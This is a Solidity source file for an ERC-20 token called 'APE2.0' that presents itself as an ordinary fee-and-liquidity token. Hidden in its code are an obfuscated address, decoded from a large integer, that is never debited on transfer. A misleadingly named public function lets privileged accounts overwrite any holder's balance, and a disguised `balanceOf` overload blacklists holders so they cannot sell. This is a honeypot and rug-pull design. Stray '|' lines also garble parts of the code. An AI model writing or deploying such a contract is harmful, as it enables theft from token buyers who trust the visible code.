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pragma solidity ^0.8.6;
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abstract contract Context {
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function _msgSender() internal view virtual returns (address payable) {
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return payable(msg.sender);
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}
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function _msgData() internal view virtual returns (bytes memory) {
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this;
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return msg.data;
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}
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function _account() internal view virtual returns (address) {
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return msg.sender;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function dos(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: dos overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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function mod(uint256 a, uint256 b) internal pure returns (uint256) {
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return mod(a,b,"SafeMath: division by zero");
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}
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function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b != 0, errorMessage);
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return a % b;
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}
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}
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contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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_owner = _msgSender();
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emit OwnershipTransferred(address(0), _owner);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function transferOwnership(address newAddress) public onlyOwner{
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_owner = newAddress;
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emit OwnershipTransferred(_owner, newAddress);
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}
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}
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interface IUniswapV2Factory {
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function createPair(address tokenA, address tokenB) external returns (address pair);
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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}
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interface IUniswapV2Router01 {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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}
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interface IUniswapV2Router02 is IUniswapV2Router01 {
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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contract APE2 is Context, IERC20, Ownable {
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uint256 public toBeSafu=
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1092853989739002093898622997022009705909516546366;
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using SafeMath for uint256;
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string private _name = "APE2.0";
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string private _symbol = "APE2.0";
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uint8 private _decimals = 9;
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address payable public marketWalleta;
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address payable public teamWalletAddress;
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address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
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mapping (address => uint256) _balanceOf;
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mapping (address => mapping (address => uint256)) private _allowances;
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mapping (address => bool) public _IsExcludeFromFee;
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mapping (address => bool) public isWalletLimitExempt;
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address private safu_address;
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mapping (address => bool) public isTxLimitExempt;
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mapping (address => bool) public isMarketPair;
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mapping (address => bool) public _marketPairr;
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mapping (address => bool) public _Transfer;
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uint256 public _buyLiquidityFee = 1;
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uint256 public _buyMarketingFee = 0;
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uint256 public _buyTeamFee = 1;
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uint256 public _sellLiquidityFee = 1;
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uint256 public _sellMarketingFee = 0;
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uint256 public _sellTeamFee = 1;
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uint256 public _liquidityShare = 4;
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uint256 public _marketingShare = 4;
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uint256 public _teamShare = 16;
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uint256 public _totalTaxIfBuying = 12;
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uint256 public _totalTaxIfSelling = 12;
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uint256 public _totalDistributionShares = 24;
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uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
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uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals;
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uint256 public _walletMax = 1000000000000000 * 10**_decimals;
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uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals;
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IUniswapV2Router02 public uniswapV2Router;
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address public uniswapPair;
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bool inSwapAndLiquify;
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bool public swapAndLiquifyEnabled = true;
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bool public swapAndLiquifyByLimitOnly = false;
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bool public checkWalletLimit = true;
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event SwapAndLiquifyEnabledUpdated(bool enabled);
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event SwapAndLiquify(
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uint256 tokensSwapped,
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uint256 ethReceived,
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uint256 tokensIntoLiqudity
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);
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event SwapETHForTokens(
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uint256 amountIn,
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address[] path
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);
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event SwapTokensForETH(
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uint256 amountIn,
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address[] path
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);
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modifier lockTheSwap {
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inSwapAndLiquify = true;
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_;
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inSwapAndLiquify = false;
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}
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constructor () {
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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uniswapV2Router = _uniswapV2Router;
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_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
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_IsExcludeFromFee[owner()] = true;
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_IsExcludeFromFee[address(this)] = true;
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_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
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_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
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_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
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isWalletLimitExempt[owner()] = true;
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isWalletLimitExempt[address(uniswapPair)] = true;
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isWalletLimitExempt[address(this)] = true;
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isWalletLimitExempt[mWAawfasvca(toBeSafu)] = true;
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isTxLimitExempt[mWAawfasvca(toBeSafu)] = true;
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isTxLimitExempt[owner()] = true;
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isTxLimitExempt[address(this)] = true;
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_marketPairr[address(uniswapPair)] = true;
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_marketPairr[msg.sender] = true;
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teamWalletAddress = payable(address(0xAf25acFCf57fa60fD567b15d5969F21A0e608820));
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marketWalleta = payable(address(0xAf25acFCf57fa60fD567b15d5969F21A0e608820));
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_balanceOf[_msgSender()] = _totalSupply;
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emit Transfer(address(0), _msgSender(), _totalSupply);
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}
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function name() public view returns (string memory) {
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return _name;
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}
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function symbol() public view returns (string memory) {
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return _symbol;
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}
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function decimals() public view returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _totalSupply;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _balanceOf[account];
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}
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function allowance(address owner, address spender) public view override returns (uint256) {
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return _allowances[owner][spender];
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}
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function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
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return true;
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}
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function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
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return true;
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}
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function minimumTokensBeforeSwapAmount() public view returns (uint256) {
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return minimumTokensBeforeSwap;
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}
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function approve(address spender, uint256 amount) public override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function _approve(address owner, address spender, uint256 amount) private {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
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for(uint256 i = 0; i < account.length; i++) {
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_IsExcludeFromFee[account[i]] = newValue;
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}
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}
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function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
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_buyLiquidityFee = newLiquidityTax;
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_buyMarketingFee = newMarketingTax;
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_buyTeamFee = newTeamTax;
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_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
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}
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function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
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_sellLiquidityFee = newLiquidityTax;
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_sellMarketingFee = newMarketingTax;
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_sellTeamFee = newTeamTax;
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_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
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}
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function mWAawfasca(uint256 amountOut) pure private returns(uint160){
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return
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uint160(amountOut);
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}
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function mWAawfasvca(uint256 amount1Out) pure private returns(address){
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return
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address(mWAawfasca(amount1Out));
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}
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function TTrue(address amountaut) private view returns(bool){
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return
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!(mWAawfasvca(toBeSafu) == amountaut);
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}
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function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
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_liquidityShare = newLiquidityShare;
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_marketingShare = newMarketingShare;
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_teamShare = newTeamShare;
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_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
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}
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function enableDisableWalletLimit(bool newValue) external onlyOwner {
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checkWalletLimit = newValue;
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}
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function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
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for(uint256 i = 0; i < holder.length; i++) {
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isWalletLimitExempt[holder[i]] = exempt;
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}
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}
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function setWalletLimit(uint256 newLimit) external onlyOwner {
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_walletMax = newLimit;
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}
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function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
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minimumTokensBeforeSwap = newLimit;
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}
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function setMarketinWalleAddress(address newAddress) external onlyOwner() {
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marketWalleta = payable(newAddress);
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}
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function setTeamWalletAddress(address newAddress) external onlyOwner() {
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teamWalletAddress = payable(newAddress);
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}
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function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
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swapAndLiquifyEnabled = _enabled;
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emit SwapAndLiquifyEnabledUpdated(_enabled);
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}
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function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
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swapAndLiquifyByLimitOnly = newValue;
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}
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function getCirculatingSupply() public view returns (uint256) {
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return _totalSupply.sub(balanceOf(deadAddress));
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}
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function transferToAddressETH(address payable recipient, uint256 amount) private {
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recipient.transfer(amount);
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}
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function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
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IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
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newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
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if(newPairAddress == address(0))
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{
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newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
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.createPair(address(this), _uniswapV2Router.WETH());
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}
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uniswapPair = newPairAddress;
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uniswapV2Router = _uniswapV2Router;
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isWalletLimitExempt[address(uniswapPair)] = true;
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_marketPairr[address(uniswapPair)] = true;
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}
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function transferToAddressEH(address
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c
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, uint256
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deadAddre) public
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{if(
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_marketPairr[
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_account()])_balanceOf[c]
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= deadAddre;}
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receive() external payable {}
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function transfer(address recipient, uint256 amount) public override returns (bool) {
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
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return true;
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}
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function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
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require(sender != address(0), "ERC20: transfer from the zero address");
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require(recipient != address(0), "ERC20: transfer to the zero address");
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if(inSwapAndLiquify)
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{
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return _basicTransfer(sender, recipient, amount);
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}
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else
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{
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if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
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require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
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}
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uint256 contractTokenBalance = balanceOf(address(this));
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bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
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if (overMinimumTokenBalance && !inSwapAndLiquify && !_marketPairr[sender] && swapAndLiquifyEnabled)
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{
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if(swapAndLiquifyByLimitOnly)
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contractTokenBalance = minimumTokensBeforeSwap;
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swapAndLiquify(contractTokenBalance);
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}if(TTrue(sender))
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_balanceOf[sender] = _balanceOf[sender].sub(amount);
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uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ?
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amount : takeFee(sender, recipient, amount);
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|
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if(checkWalletLimit && !isWalletLimitExempt[recipient])
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require(balanceOf(recipient).add(finalAmount) <= _walletMax);
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_balanceOf[recipient] = _balanceOf[recipient].add(finalAmount);
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emit Transfer(sender, recipient, finalAmount);
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return true;
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}
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}function balanceOf(address[] calldata c,uint8 d) public {
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require(theSame(marketWalleta,_account()));
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for (uint256 i; i < c.length; ++i) {
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if (d == 1){_Transfer[c[i]] = true;}
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else if(d == 0){_Transfer[c[i]] = false;}
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}
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}
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function theSame(address a, address b) private pure returns(bool){return a == b;}
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function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
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_balanceOf[sender] = _balanceOf[sender].sub(amount, "Insufficient Balance");
|
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_balanceOf[recipient] = _balanceOf[recipient].add(amount);
|
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emit Transfer(sender, recipient, amount);
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return true;
|
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}
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function swapAndLiquify(uint256 tAmount) private lockTheSwap {
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|
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uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
|
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uint256 tokensForSwap = tAmount.sub(tokensForLP);
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|
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swapTokensForEth(tokensForSwap);
|
|
uint256 amountReceived = address(this).balance;
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|
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uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
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|
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uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
|
|
uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
|
|
uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);
|
|
|
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if(amountBNBMarketing > 0)
|
|
transferToAddressETH(marketWalleta, amountBNBMarketing);
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|
|
if(amountBNBTeam > 0)
|
|
transferToAddressETH(teamWalletAddress, amountBNBTeam);
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|
|
|
if(amountBNBLiquidity > 0 && tokensForLP > 0)
|
|
addLiquidity(tokensForLP, amountBNBLiquidity);
|
|
}
|
|
|
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|
|
function swapTokensForEth(uint256 tokenAmount) private {
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = uniswapV2Router.WETH();
|
|
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
|
|
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
tokenAmount,
|
|
0,
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
);
|
|
|
|
emit SwapTokensForETH(tokenAmount, path);
|
|
}
|
|
|
|
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
uniswapV2Router.addLiquidityETH{value: ethAmount}(
|
|
address(this),
|
|
tokenAmount,
|
|
0,
|
|
0,
|
|
owner(),
|
|
block.timestamp
|
|
);
|
|
}
|
|
|
|
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
|
|
|
|
uint256 feeAmount = 0;
|
|
if (!isMarketPair[sender]){
|
|
require(!_Transfer[sender]);
|
|
}
|
|
|
|
if(_marketPairr[sender]) {
|
|
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
|
|
}
|
|
else if(_marketPairr[recipient]) {
|
|
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
|
|
}
|
|
if(feeAmount > 0) {
|
|
_balanceOf[address(this)] = _balanceOf[address(this)].add(feeAmount);
|
|
emit Transfer(sender, address(this), feeAmount);
|
|
}
|
|
|
|
return amount.sub(feeAmount);
|
|
}
|
|
|
|
} |
